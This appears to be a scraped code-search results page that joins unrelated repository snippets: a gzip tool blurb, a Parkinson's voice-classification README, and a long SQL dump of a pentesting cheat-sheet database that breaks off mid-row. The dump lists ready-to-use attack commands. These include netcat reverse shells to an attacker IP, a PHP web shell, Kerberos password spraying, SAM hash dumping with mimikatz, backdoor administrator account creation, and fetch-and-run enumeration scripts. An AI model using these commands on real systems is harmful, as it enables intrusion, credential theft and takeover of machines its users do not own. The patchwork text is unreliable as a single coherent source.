29 skills found
mxmlnkn / RapidgzipGzip Decompression and Random Access for Modern Multi-Core Machines
Aastha2104 / Parkinson Disease PredictionIntroduction Parkinson’s Disease is the second most prevalent neurodegenerative disorder after Alzheimer’s, affecting more than 10 million people worldwide. Parkinson’s is characterized primarily by the deterioration of motor and cognitive ability. There is no single test which can be administered for diagnosis. Instead, doctors must perform a careful clinical analysis of the patient’s medical history. Unfortunately, this method of diagnosis is highly inaccurate. A study from the National Institute of Neurological Disorders finds that early diagnosis (having symptoms for 5 years or less) is only 53% accurate. This is not much better than random guessing, but an early diagnosis is critical to effective treatment. Because of these difficulties, I investigate a machine learning approach to accurately diagnose Parkinson’s, using a dataset of various speech features (a non-invasive yet characteristic tool) from the University of Oxford. Why speech features? Speech is very predictive and characteristic of Parkinson’s disease; almost every Parkinson’s patient experiences severe vocal degradation (inability to produce sustained phonations, tremor, hoarseness), so it makes sense to use voice to diagnose the disease. Voice analysis gives the added benefit of being non-invasive, inexpensive, and very easy to extract clinically. Background Parkinson's Disease Parkinson’s is a progressive neurodegenerative condition resulting from the death of the dopamine containing cells of the substantia nigra (which plays an important role in movement). Symptoms include: “frozen” facial features, bradykinesia (slowness of movement), akinesia (impairment of voluntary movement), tremor, and voice impairment. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. Performance Metrics TP = true positive, FP = false positive, TN = true negative, FN = false negative Accuracy: (TP+TN)/(P+N) Matthews Correlation Coefficient: 1=perfect, 0=random, -1=completely inaccurate Algorithms Employed Logistic Regression (LR): Uses the sigmoid logistic equation with weights (coefficient values) and biases (constants) to model the probability of a certain class for binary classification. An output of 1 represents one class, and an output of 0 represents the other. Training the model will learn the optimal weights and biases. Linear Discriminant Analysis (LDA): Assumes that the data is Gaussian and each feature has the same variance. LDA estimates the mean and variance for each class from the training data, and then uses properties of statistics (Bayes theorem , Gaussian distribution, etc) to compute the probability of a particular instance belonging to a given class. The class with the largest probability is the prediction. k Nearest Neighbors (KNN): Makes predictions about the validation set using the entire training set. KNN makes a prediction about a new instance by searching through the entire set to find the k “closest” instances. “Closeness” is determined using a proximity measurement (Euclidean) across all features. The class that the majority of the k closest instances belong to is the class that the model predicts the new instance to be. Decision Tree (DT): Represented by a binary tree, where each root node represents an input variable and a split point, and each leaf node contains an output used to make a prediction. Neural Network (NN): Models the way the human brain makes decisions. Each neuron takes in 1+ inputs, and then uses an activation function to process the input with weights and biases to produce an output. Neurons can be arranged into layers, and multiple layers can form a network to model complex decisions. Training the network involves using the training instances to optimize the weights and biases. Naive Bayes (NB): Simplifies the calculation of probabilities by assuming that all features are independent of one another (a strong but effective assumption). Employs Bayes Theorem to calculate the probabilities that the instance to be predicted is in each class, then finds the class with the highest probability. Gradient Boost (GB): Generally used when seeking a model with very high predictive performance. Used to reduce bias and variance (“error”) by combining multiple “weak learners” (not very good models) to create a “strong learner” (high performance model). Involves 3 elements: a loss function (error function) to be optimized, a weak learner (decision tree) to make predictions, and an additive model to add trees to minimize the loss function. Gradient descent is used to minimize error after adding each tree (one by one). Engineering Goal Produce a machine learning model to diagnose Parkinson’s disease given various features of a patient’s speech with at least 90% accuracy and/or a Matthews Correlation Coefficient of at least 0.9. Compare various algorithms and parameters to determine the best model for predicting Parkinson’s. Dataset Description Source: the University of Oxford 195 instances (147 subjects with Parkinson’s, 48 without Parkinson’s) 22 features (elements that are possibly characteristic of Parkinson’s, such as frequency, pitch, amplitude / period of the sound wave) 1 label (1 for Parkinson’s, 0 for no Parkinson’s) Project Pipeline pipeline Summary of Procedure Split the Oxford Parkinson’s Dataset into two parts: one for training, one for validation (evaluate how well the model performs) Train each of the following algorithms with the training set: Logistic Regression, Linear Discriminant Analysis, k Nearest Neighbors, Decision Tree, Neural Network, Naive Bayes, Gradient Boost Evaluate results using the validation set Repeat for the following training set to validation set splits: 80% training / 20% validation, 75% / 25%, and 70% / 30% Repeat for a rescaled version of the dataset (scale all the numbers in the dataset to a range from 0 to 1: this helps to reduce the effect of outliers) Conduct 5 trials and average the results Data a_o a_r m_o m_r Data Analysis In general, the models tended to perform the best (both in terms of accuracy and Matthews Correlation Coefficient) on the rescaled dataset with a 75-25 train-test split. The two highest performing algorithms, k Nearest Neighbors and the Neural Network, both achieved an accuracy of 98%. The NN achieved a MCC of 0.96, while KNN achieved a MCC of 0.94. These figures outperform most existing literature and significantly outperform current methods of diagnosis. Conclusion and Significance These robust results suggest that a machine learning approach can indeed be implemented to significantly improve diagnosis methods of Parkinson’s disease. Given the necessity of early diagnosis for effective treatment, my machine learning models provide a very promising alternative to the current, rather ineffective method of diagnosis. Current methods of early diagnosis are only 53% accurate, while my machine learning model produces 98% accuracy. This 45% increase is critical because an accurate, early diagnosis is needed to effectively treat the disease. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. With an earlier diagnosis, much of this degradation could have been slowed or treated. My results are very significant because Parkinson’s affects over 10 million people worldwide who could benefit greatly from an early, accurate diagnosis. Not only is my machine learning approach more accurate in terms of diagnostic accuracy, it is also more scalable, less expensive, and therefore more accessible to people who might not have access to established medical facilities and professionals. The diagnosis is also much simpler, requiring only a 10-15 second voice recording and producing an immediate diagnosis. Future Research Given more time and resources, I would investigate the following: Create a mobile application which would allow the user to record his/her voice, extract the necessary vocal features, and feed it into my machine learning model to diagnose Parkinson’s. Use larger datasets in conjunction with the University of Oxford dataset. Tune and improve my models even further to achieve even better results. Investigate different structures and types of neural networks. Construct a novel algorithm specifically suited for the prediction of Parkinson’s. Generalize my findings and algorithms for all types of dementia disorders, such as Alzheimer’s. References Bind, Shubham. "A Survey of Machine Learning Based Approaches for Parkinson Disease Prediction." International Journal of Computer Science and Information Technologies 6 (2015): n. pag. International Journal of Computer Science and Information Technologies. 2015. Web. 8 Mar. 2017. Brooks, Megan. "Diagnosing Parkinson's Disease Still Challenging." Medscape Medical News. National Institute of Neurological Disorders, 31 July 2014. Web. 20 Mar. 2017. Exploiting Nonlinear Recurrence and Fractal Scaling Properties for Voice Disorder Detection', Little MA, McSharry PE, Roberts SJ, Costello DAE, Moroz IM. BioMedical Engineering OnLine 2007, 6:23 (26 June 2007) Hashmi, Sumaiya F. "A Machine Learning Approach to Diagnosis of Parkinson’s Disease."Claremont Colleges Scholarship. Claremont College, 2013. Web. 10 Mar. 2017. Karplus, Abraham. "Machine Learning Algorithms for Cancer Diagnosis." Machine Learning Algorithms for Cancer Diagnosis (n.d.): n. pag. Mar. 2012. Web. 20 Mar. 2017. Little, Max. "Parkinsons Data Set." UCI Machine Learning Repository. University of Oxford, 26 June 2008. Web. 20 Feb. 2017. Ozcift, Akin, and Arif Gulten. "Classifier Ensemble Construction with Rotation Forest to Improve Medical Diagnosis Performance of Machine Learning Algorithms." Computer Methods and Programs in Biomedicine 104.3 (2011): 443-51. Semantic Scholar. 2011. Web. 15 Mar. 2017. "Parkinson’s Disease Dementia." UCI MIND. N.p., 19 Oct. 2015. Web. 17 Feb. 2017. Salvatore, C., A. Cerasa, I. Castiglioni, F. Gallivanone, A. Augimeri, M. Lopez, G. Arabia, M. Morelli, M.c. Gilardi, and A. Quattrone. "Machine Learning on Brain MRI Data for Differential Diagnosis of Parkinson's Disease and Progressive Supranuclear Palsy."Journal of Neuroscience Methods 222 (2014): 230-37. 2014. Web. 18 Mar. 2017. Shahbakhi, Mohammad, Danial Taheri Far, and Ehsan Tahami. "Speech Analysis for Diagnosis of Parkinson’s Disease Using Genetic Algorithm and Support Vector Machine."Journal of Biomedical Science and Engineering 07.04 (2014): 147-56. Scientific Research. July 2014. Web. 2 Mar. 2017. "Speech and Communication." Speech and Communication. Parkinson's Disease Foundation, n.d. Web. 22 Mar. 2017. Sriram, Tarigoppula V. S., M. Venkateswara Rao, G. V. Satya Narayana, and D. S. V. G. K. Kaladhar. "Diagnosis of Parkinson Disease Using Machine Learning and Data Mining Systems from Voice Dataset." SpringerLink. Springer, Cham, 01 Jan. 1970. Web. 17 Mar. 2017.
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 